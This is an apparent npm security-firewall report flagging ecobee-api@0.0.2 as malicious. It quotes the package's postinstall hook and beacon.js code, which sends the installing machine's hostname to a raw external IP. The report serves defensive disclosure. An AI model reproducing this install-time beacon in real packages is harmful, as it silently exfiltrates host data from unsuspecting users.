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canonical: "https://firewall.lpm.dev/npm/ecobee-api/v/0.0.2"
markdown: "https://firewall.lpm.dev/npm/ecobee-api/v/0.0.2.md"
package: "ecobee-api"
report_status: "published"
title: "ecobee-api@0.0.2 npm security report"
verdict: "malicious"
version: "0.0.2"
---

# ecobee-api@0.0.2 npm security report

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## Verdict summary
**Blocked & quarantined** — Unconsented host-identifying data exfiltration during installation.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Data Exfiltration
- **Selected version:** 0.0.2
- **Selected version is latest:** Yes
- **Analysis source:** AI Security Review (lpm-firewall-ai)

Installing the package automatically executes a network beacon. It transmits the installing machine's hostname to an external IP address with no documented package function.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Verdict:** Malicious
- **Confidence:** 99.0%
- **Started:** 2026-08-25T15:10:06.178Z
- **Finished:** 2026-08-25T15:10:34.008Z
- **Download time:** 506 ms
- **Static scan time:** 15 ms
- **AI review time:** 27308 ms
- **Total time:** 27830 ms

## Security analysis

### Published attack-surface review

- **Summary:** Installing the package automatically executes a network beacon. It transmits the installing machine's hostname to an external IP address with no documented package function.

- **Trigger:** npm package installation (postinstall)

- **Impact:** Unconsented host-identifying data exfiltration during installation.

- **Evidence paths:** package.json, beacon.js, README.md

- **Review source:** ai\_review

- **Reviewed:** 2026-08-25T15:10:34.008Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** postinstall hostname beacon over HTTP

- **Attack narrative:** On installation, npm invokes beacon.js through postinstall. The script obtains os.hostname() and appends it to an HTTP request sent to a raw external IP, suppressing connection errors. The package contains no documented legitimate implementation to justify this automatic beacon.

- **Rationale:** This is concrete, unconsented install-time host-data exfiltration disguised as a placeholder package. It warrants blocking.

- **Files touched:** package.json, beacon.js

- **Network endpoints:** http://169.58.96.170:9001/cb

### Review decision

- **Verdict:** Malicious

- **Confidence:** 99.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for:** package.json runs beacon.js automatically during postinstall., beacon.js reads the host name and sends it to an external raw-IP HTTP endpoint, while suppressing errors.

- **Evidence against:** README identifies the package only as a placeholder; no legitimate runtime functionality is supplied.

## Public findings

### 1. High: Install Time Lifecycle Scripts
- **Category:** Manifest
- **Confidence:** 90.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/ecobee-api@0.0.2/package.json>)

Package defines install-time lifecycle scripts.

Public source snippet (untrusted):

```json
scripts.postinstall = node beacon.js
```

### 2. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 3. Medium: Network
- **Category:** Source
- **Confidence:** 75.0%

Package source references network APIs.

### 4. Low: Url Strings
- **Category:** Supply Chain
- **Confidence:** 65.0%

Package source contains URL literals.

### 5. Low: No License
- **Category:** Manifest
- **Confidence:** 80.0%

Package manifest does not declare a clear license.

### 6. High: Suspicious Lifecycle Evidence
- **Category:** Manifest
- **Confidence:** 99.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/ecobee-api@0.0.2/package.json>)

package.json runs beacon.js automatically during postinstall.

Public source snippet (untrusted):

```json
"scripts": {
    "postinstall": "node beacon.js"
  }
```

### 7. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** beacon.js
- **Public source:** [View source](<https://unpkg.com/ecobee-api@0.0.2/beacon.js>)

beacon.js reads the host name and sends it to an external raw-IP HTTP endpoint, while suppressing errors.

Public source snippet (untrusted):

```javascript
var os = require("os"), http = require("http");
  http.get("http://169.58.96.170:9001/cb?h=" + encodeURIComponent(os.hostname()) + "&p=ecobee-api", function(){}).on("error", function(){});
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** Yes
- **Published lifecycle scripts:** postinstall
- **Dependencies:** 0
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 0

## Package metadata
- **Package:** ecobee-api
- **Ecosystem:** npm
- **Version:** 0.0.2
- **License:** UNLICENSED
- **Version published:** 2026-08-24T19:41:23.514Z
- **Package first seen:** 2026-08-25T15:10:24.924Z
- **Package last seen:** 2026-08-25T15:10:34.008Z
- **Known versions:** 2
- **Latest version:** 0.0.2
- **Appeal under review:** No
- **Description:** Utility package
- **Artifact files:** 3
- **Artifact unpacked size:** 465 bytes
- **Artifact signatures:** 1
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/ecobee-api/v/0.0.2>)